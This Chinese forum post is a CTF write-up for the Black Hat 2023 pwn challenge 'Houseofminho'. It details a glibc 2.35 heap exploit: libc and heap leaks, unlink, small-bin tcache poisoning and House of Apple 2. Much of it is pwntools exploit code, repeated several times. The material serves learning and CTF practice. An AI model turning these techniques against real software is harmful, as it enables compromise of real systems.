首页
社区
课程
招聘
[原创]Black Hat 2023 0解Pwn题Houseofminho详细WP
发表于: 2023-11-18 11:57 16037

[原创]Black Hat 2023 0解Pwn题Houseofminho详细WP

2023-11-18 11:57
16037

这个是2023 black hat第二天的一道0解pwn题,题目zip放附件了

出题人很友好的给了源码

题面十分的简短,主要实现了三个功能,分别为

Glibc 版本 为2.35-3.1

显而易见,漏洞就在add功能中read(0, g_buf, 0x80),但是局限十分多

那么会带来什么问题呢?

首先glibc 2.35已经限制了tcache bin内的chunk不能多malloc一次,也就是如果对应位置的count为0,就不会申请出来,这就否定了直接溢出修改fd导致任意地址申请的方法

**上述的做法是行不通的!**上述操作之后,0x90管理的位置count已经为0了,所以下次malloc(0x80)就不会从0x90的tcache取出,无法达成任意地址申请

image-20231117232223970

但是上述做法给了一个思路,我们可以通过多次free再次malloc 0x40就可以申请回来第一个堆块,并写入0x80长度,这个溢出很稳定,以及我们可以修改下一个堆块大小,使得绕过tcache多次申请0x90的堆块,那么现在我们需要修改tcachebin管理0x90的count值,使得可以任意地址申请。但是这个很难做到,怎么做呢?请读者继续往下看。

如何泄露libc?如何泄露堆地址?

首先我们需要使用House of orange的一个技巧,将Top Chunk的size改小,然后申请一个大的堆块就可以把,Top Chunk放入Unsorted bin内,之后利用溢出覆盖size就可以泄露libc地址了。

但是这里有一个极大的问题!Top chunk需要对其0x1000,但是已有的堆+0x40或者0x80都不可能对齐0x1000,怎么办?

这里需要提到在没有setbuf(stdin,0);的情况下,scanf的输入长文本,回调用malloc、realloc、free,其中如果scanf输入数据大小为0x1000,那么会产生一下调用

那么我们就可以完成Top Chunk的攻击了,以下是泄露libc的exp,并修复损坏的size

此时堆块的布局如下

image-20231118000114704

为何下方有0x10的两个块呢?那就需要了解一下unsortedbin的检查

_int_malloc中有这么一串代码

总结一下就是

那么如果正常逻辑下Top Chunk被free到unsorted bin,说明当前内存应该全部分配完了,如果原封不动直接放到unsorted bin内,就会触发上述第2、3、5的检查不合法或者溢出,所以为了防止这个事情发生,就需要在下方设置两个小哨兵块,A块的作用是满足上述第2、3、5的检查,设置prev_size等关键数据,而B块的作用是防止A块发生unlink合并,B块的prev_inuse标志是1,代表A块是使用中,所以不会发生unlink,否则unlink会报错(试想一下,如果没有B块,那么A块没有被使用的,如果申请一个刚好大小为当前unsortbin的块,再释放,那么就会触发向前合并unlink,之后由于A块的fd和bk指针问题,导致程序crash)

image-20231118001409448

到这里,我们压一下脑栈,上述的unsorted bin布局,后文会使用到,我们回到泄露上

泄露heap地址相对简单,直接free当前堆块后,由于tcache bin的fd指针具有REVEAL_PTR的保护,所以Tcache bin的第一块由于fd是0,但是被加密之后会变成0 ^ (heap_adde >> 12)的值,故可以直接泄露堆地址

泄露并修复的exp如下(当前exp衔接泄露libc的)

此时heap地址、Libc地址信息已经收集完毕!我们来看看现在堆长什么样子

image-20231118002652903

当前我们可控的堆块已经标注在图中,为啥叫做可控呢?因为由于tcache的原因,以及我们只能拥有一个堆块,所以free malloc交替进行我们只能控制这两个区域内存(?这两个区域内存我们应该如何做文章呢?请读者压一压脑栈继续往下看。)

image-20231118002710057

信息收集终于结束了,堆也变成了不认识的样子,那么我们攻击的入口在哪里呢?

答案是Small bin

为何选用Small bin呢?阅读源码我们可以知道,Small bin是有机会进入Tcache的,什么时机进入呢?在malloc中如果命中了Small bin某个大小的管理,那么就会将这个大小内的剩下所有块依次取出,放入Tcache内,直至填满Tcache

也就是代码中的这个部分,下面代码中,bin就是当前small bin的位置,通过bk索引,反向查找,对于每一个Chunk依次解链,放入了Tcache bin中

目标明确,那么命中small bin需要先绕过Tcache,也就是当前Tcache[0x90]不能有free的堆块,以及需要一次malloc(0x80),那么我们伪造的small bin大小也需要是0x90

如何伪造一个0x90大小的Small bin呢?进入Small bin可以从Unsorted bin进入,如何进入呢?

条件2比较简单满足,依旧是scanf利用

对于我们现在的堆块布局来说,我们仅仅只能控制0x90堆块size位(看上文的泄露后堆布局情况图片),这个位置能做什么文章呢?那么答案十分明朗:伪造Unsorted bin!

我们先讨论一下,是否可行,我们能溢出可控空间为0x80-0x40=0x40,这个0x40大小的空间包括了下一个堆块的prev_sizesize位置,以及堆块内容部分。假设我们能修改上图中0x90堆块的size位置改大,并能成功free,那么就会进入unsorted bin中,如果此时构造我们无法完成两块小哨兵块的布置,因为需要如下的布局

(可控地址指的是,我们可以通过malloc(0x40)向后写0x80字节,以及malloc(0x80)也能写0x80字节,上面例子也就是总长度可控为0x80*2-0x40=0xC0

但是可控空间完全不够布置下面的Chunk AB,要怎么办呢?我们需要可控多长呢?

在绞尽脑汁几个小时之后,我注意到了我们貌似浪费了0x50堆块中的0x40长度的大小。怎么办呢?

这里我们可以利用Unlink手法,使得Unsorted bin向前合并,首先我们构造如下的布局

使得在free掉下方堆块的时候可以向后合并,这样子就可以完成溢出可控距离的扩展

那么这个时候再来讨论一下可控长度,我们此时修改Unsorted bin内的布局,此时我们发现可控距离完全足够进行布局了!

(仔细观察上面三个布局演示,可控起始和终止的偏移从未变化,仅仅通过Unlink之后利用率提高了)

如何实现Unlink?

只需要满足下面的条件

绕过源码中,下面这个检查

但是但是,现在还有一个问题,实现unlink攻击,需要free掉一个大的堆块进入Unsorted bin内,也就是说,我们需要修改原来0x90堆块的size改大,并需要满足free的Unsorted bin检查,也就是,尽量不要进入向前合并流程(因为我们本来可控的空间就只有上面的[0x10,0xD0]),那么需要如何做呢?请读者再压下脑栈,马上就要串起来了,继续往下看!

我们再次回顾一下当前的堆布局,可以看到当前unsorted bin下方有一个0x10和0x11的堆块,那么我们假设,如果有某种方法,使得0x90这个堆块覆盖成以下的红色框框圈起来呢?并且是否有方法让下方0x11堆块之后的prev_inuse变成1呢?(为何要为1,因为要防止合并)

image-20231118013645858

什么时候能修改最下方堆块的内容呢?答案是还是scanf

scanf的缓冲区会申请再堆内,那我如果缓冲区足够大是否能够刚好往0x11堆块的后面size内写入一些数据呢?写入多少呢?

0x33!!!因为这个ascii字符是3,也就是选择free的菜单选项,什么时候写入呢?当然是最最最开始的时候,堆十分“干净”的时候啦

那么经过测试,再所有操作之前输入0xd58个字符0以及一个字符3即可

让我们再看看堆块长什么样子了

image-20231118014409013

WoW!!成功污染!那么我们就能成功伪造Unsorted bin了,稍微微调以下代码可以得到

此时我们可以看到unsorted bin内如愿以偿的放入了我们的Fake Chunk!

image-20231118014647807

感谢你耐心看到这里,相信你现在脑栈已经快爆了,终于我们迎来了弹出脑栈的步骤了

将上文的Unlink攻击实施,微调Exp可以得到如下

此时堆块就不那么好看了。

image-20231118015159589

如此查看我们可以发现unlink成功实施了,Unsorted bin内第一个堆块从0xd00变成了0xd30

那么继续我们将伪造Small bin的攻击实施,再次微调Exp

让我们再次检验堆块的结构!完美成功进入了Small bin!!!

image-20231118015627633

那么接下来我们就要开始在Small bin里面伪造一条多个0x90的链条,使得再次malloc(0x80)命中small bin的时候,放入Tcache bin中

首先我们需要知道我们能改动多长?0x80长度,然而除去tcache bin的fd和bk位置,仅剩下0x70长度可以可控,也就是说,我们需要在0x70的长度中尽可能多的伪造0x90堆块,并串起来

我们仅仅只能伪造3个0x90的堆块,如何伪造?

可以参考如下图的伪造方法,可以看到这里bk连线串成了一条链

houseofminho_smallbin

注意红色Chunk位置的fd设置,需要绕过small bin中的检查(下面源码),而黄色的绿色的fd是否需要设置,留给读者们讨论

那么稍微微调一下exp

此时堆布局如下

image-20231118021620888

可以看到出现了错误,不过问题不大,源码时通过BK进行遍历的,在BK位置确实出现了3个Chunk

此时我们就可以malloc(0x80)命中一次Small bin的0x90

那么此时堆块就会变成,下面这样!WoW,我们可以控制Tcache bin 0x90位置的fd指针!并且此时0x90位置的Count有3!!!

image-20231118022002073

胜利的曙光就在眼前了,接下来是House of apple 2登场!

House of Apple 2的教程见https://bbs.kanxue.com/thread-273832.htm,这里膜拜一下Orz

经过我的调优可以简化到如下的布局

我们需要结合当前的情况在做调整,首先我们需要再次延长可控的空间,方法也简单,毕竟Tcache bin的Count有3,我们可以先伪造一次fd到堆上,再伪造进入_IO_list_all

(为何不劫持Tcache bin管理块呢?因为我们只能拥有一个堆块,需要free之后再次malloc才能控制下一个,一旦劫持到Tcachebin 管理块,没有一个合适的size位置,是无法成功free的)

由于大小范围可控需要0xe0长度,所以我们第一个堆块需要扩展一次,使用上面的0x50的堆块对下面0x90tcache的溢出修改,使得布局如下图,这样子Chunk 1申请出来的时候,可以保证能控制到Chunk 2的fd,依旧能继续攻击,也能延长可控范围到0xf0,使得攻击成立,而Chunk 1的size改为0x71是为了防止free之后进入0x90导致后面的Chunk无法取出

houseofminho_tcachebin

那么经过简单的布置,最终攻击_IO_list_all之后,就完成了House of Apple 2的攻击

image-20231118024517191

Flag获得完结撒花!

p = malloc(0x40)
free(p)
p = malloc(0x80)
free(p)
p = malloc(0x40) // 重新申请回上述的0x40
read(0, p, 0x80) // 溢出写入到下方的0x80块的fd,并修改size改小
free(p)
p = malloc(0x80)
free(p) // 由于上文改小了size,那么这里释放的时候就不会进入0x90的管理
p = malloc(0x80) // 此时再次申请,如果低版本的tcache就可以申请出任意地址,但是2.35不行
p = malloc(0x40)
free(p)
p = malloc(0x80)
free(p)
p = malloc(0x40) // 重新申请回上述的0x40
read(0, p, 0x80) // 溢出写入到下方的0x80块的fd,并修改size改小
free(p)
p = malloc(0x80)
free(p) // 由于上文改小了size,那么这里释放的时候就不会进入0x90的管理
p = malloc(0x80) // 此时再次申请,如果低版本的tcache就可以申请出任意地址,但是2.35不行
p = malloc(0x800);
p = realloc(p, 0x1000);
p = realloc(p, 0x2000);
free(p)
p = malloc(0x800);
p = realloc(p, 0x1000);
p = realloc(p, 0x2000);
free(p)
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))
... # 衔接上文泄露libc
free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
# 一下两行仅仅作为临时修复,使得堆布局好看一点,正式攻击可以删除
free()
add(1, b"a" * 0x40 + p64(0) + p64(0x91))
... # 衔接上文泄露libc
free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
# 一下两行仅仅作为临时修复,使得堆布局好看一点,正式攻击可以删除
free()
add(1, b"a" * 0x40 + p64(0) + p64(0x91))
     | prev_size |  size  |
     +--------------------+
0x00 |           |  0x50  |   
0x10 |           |        |    -- 可控起始位置
     +--------------------+   <- Unsorted bin
0x50 |           |  0x91  |
0x90 |           |        |   
0xD0 |           |        |    -- 可控终止位置
     +--------------------+
0xE0 |           |  0x10  |    -- Chunk A
     +--------------------+
0xF0 |           |  0x11  |    -- Chunk B
     +--------------------+
     | prev_size |  size  |
     +--------------------+
0x00 |           |  0x50  |   
0x10 |           |        |    -- 可控起始位置
     +--------------------+   <- Unsorted bin
0x50 |           |  0x91  |
0x90 |           |        |   
0xD0 |           |        |    -- 可控终止位置
     +--------------------+
0xE0 |           |  0x10  |    -- Chunk A
     +--------------------+
0xF0 |           |  0x11  |    -- Chunk B
     +--------------------+
     | prev_size |  size      |
     +------------------------+
0x00 |           |  0x50      |   
0x10 | fd        |  bk        |    -- 可控起始位置
0x20 |           |  0x31      |
0x30 | fake fd   |  fake bk   |
     +------------------------+   
0x50 | 0x30      0x?0      |    -- 这里的prev_inuse设置为0
0x90 |           |            |   
0xD0 |           |            |    -- 可控终止位置
     +------------------------+
     | prev_size |  size      |
     +------------------------+
0x00 |           |  0x50      |   
0x10 | fd        |  bk        |    -- 可控起始位置
0x20 |           |  0x31      |
0x30 | fake fd   |  fake bk   |
     +------------------------+   
0x50 | 0x30      0x?0      |    -- 这里的prev_inuse设置为0
0x90 |           |            |   
0xD0 |           |            |    -- 可控终止位置
     +------------------------+
     | prev_size |  size      |
     +------------------------+
0x00 |           |  0x50      |   
0x10 | fd        |  bk        |    -- 可控起始位置
     +------------------------+
0x20 |           |  0x91      |    <- Unsorted bin 
0x90 |           |            |
     +------------------------+
0xB0 |           |  0x10      |    -- Chunk A
     +------------------------+
0xC0 |           |  0x11      |    -- Chunk B
     +------------------------+
0xD0 |           |            |    -- 可控终止位置
     | prev_size |  size      |
     +------------------------+
0x00 |           |  0x50      |   
0x10 | fd        |  bk        |    -- 可控起始位置
     +------------------------+
0x20 |           |  0x91      |    <- Unsorted bin 
0x90 |           |            |
     +------------------------+
0xB0 |           |  0x10      |    -- Chunk A
     +------------------------+
0xC0 |           |  0x11      |    -- Chunk B
     +------------------------+
0xD0 |           |            |    -- 可控终止位置
p->fd = p;
p->bk = p;
next(p)->prev_inuse = 0;
next(p)->prev_size = p->size;
p->fd = p;
p->bk = p;
next(p)->prev_inuse = 0;
next(p)->prev_size = p->size;
def free3(len):
    io.sendlineafter(b"> ", b"0" * (len-1) + b"3")
 
free3(0xd59) # 这里就是污染0x11堆块之后的堆块的size位置
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))
 
free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
free()
add(1, b"a" * 0x40 + p64(0) + p64(0x91))
def free3(len):
    io.sendlineafter(b"> ", b"0" * (len-1) + b"3")
 
free3(0xd59) # 这里就是污染0x11堆块之后的堆块的size位置
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))
 
free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
free()
add(1, b"a" * 0x40 + p64(0) + p64(0x91))
free3(0xd59)
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))
 
free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
free()
# 这里微调了0x90堆块的size位置,不再是修复而是伪造
add(1, b"a" * 0x40 + p64(0) + p64(0xd01))
free()
add(2, b"aaaa")
free()
free3(0xd59)
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))
 
free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
free()
# 这里微调了0x90堆块的size位置,不再是修复而是伪造
add(1, b"a" * 0x40 + p64(0) + p64(0xd01))
free()
add(2, b"aaaa")
free()
free3(0xd59)
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))
 
free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
free()
# 这里修改了unlink攻击的内容
add(1, b"a" * 0x10 + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 +  b"a" * 0x10 + p64(0x30) + p64(0xd00))
free()
add(2, b"aaaa")
free()
free3(0xd59)
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))
 
free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
free()
# 这里修改了unlink攻击的内容
add(1, b"a" * 0x10 + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 +  b"a" * 0x10 + p64(0x30) + p64(0xd00))
free()
add(2, b"aaaa")
free()
free3(0xd59)
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))
 
free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
free()
add(1, b"a" * 0x10 + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 +  b"a" * 0x10 + p64(0x30) + p64(0xd00))
free()
# 这次微调了这里,加入了上文提到的Chunk AB的布置
add(2, b"a" * 0x50 + p64(0x90) + p64(0x10) + p64(0x00) + p64(0x11))
free()
# 这里就开始修改Unsorted bin内容,使得在Unsorted bin内伪造一个Small bin大小的堆块
add(1, flat({
    0x10: 0,
    0x18: 0x91,
    0x20: heap_base + 0x380,
    0x28: libc_base + 0x219ce0,
}, filler=b"\x00"))
show2(0x1000) # 这里触发使得Unsorted bin进入Samll bin
free()
free3(0xd59)
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2023-11-19 00:39 被Csome编辑 ,原因: 修复图片
上传的附件:
收藏
免费 14
支持
分享
最新回复 (7)
雪    币: 3059
活跃值: (30876)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2023-11-18 17:24
2
雪    币: 387
活跃值: (2657)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
houseofminho_smallbin  houseofminho_tcachebin两张图挂了
2023-11-18 20:08
0
雪    币: 1035
活跃值: (455)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
4
contain_of houseofminho_smallbin houseofminho_tcachebin两张图挂了
图片修了
2023-11-19 00:39
0
雪    币: 290
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
5
太厉害了
2023-11-22 18:15
0
雪    币: 220
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
6
牛逼
2024-5-30 18:44
0
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
7
师傅你的heap_base似乎并不是实际堆地址段的起点。泄露的时候由于scanf已经有一个0x1000的堆块了,所以在高地址的topchunk变成的unsortedbin泄露出的地址也会高,不过由于你在最终exp的64行时使用heap_base的时候使用了忽略scanf的0x1000堆块的偏移,从而歪打正着(不知道师傅是不是故意这样做得
2024-8-1 20:03
0
雪    币: 1035
活跃值: (455)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
8
dbgbgtf 师傅你的heap_base似乎并不是实际堆地址段的起点。泄露的时候由于scanf已经有一个0x1000的堆块了,所以在高地址的topchunk变成的unsortedbin泄露出的地址也会高,不过由于你 ...
确实没注意这里的heap_base变量问题,可能修改成heap_addr会更好一些。不过这里操作都是相对地址偏移,并且这道题目需要的操作对于这个地址的偏移是稳定的,并不是很大影响。
2024-8-2 22:37
0
游客
登录 | 注册 方可回帖
返回
//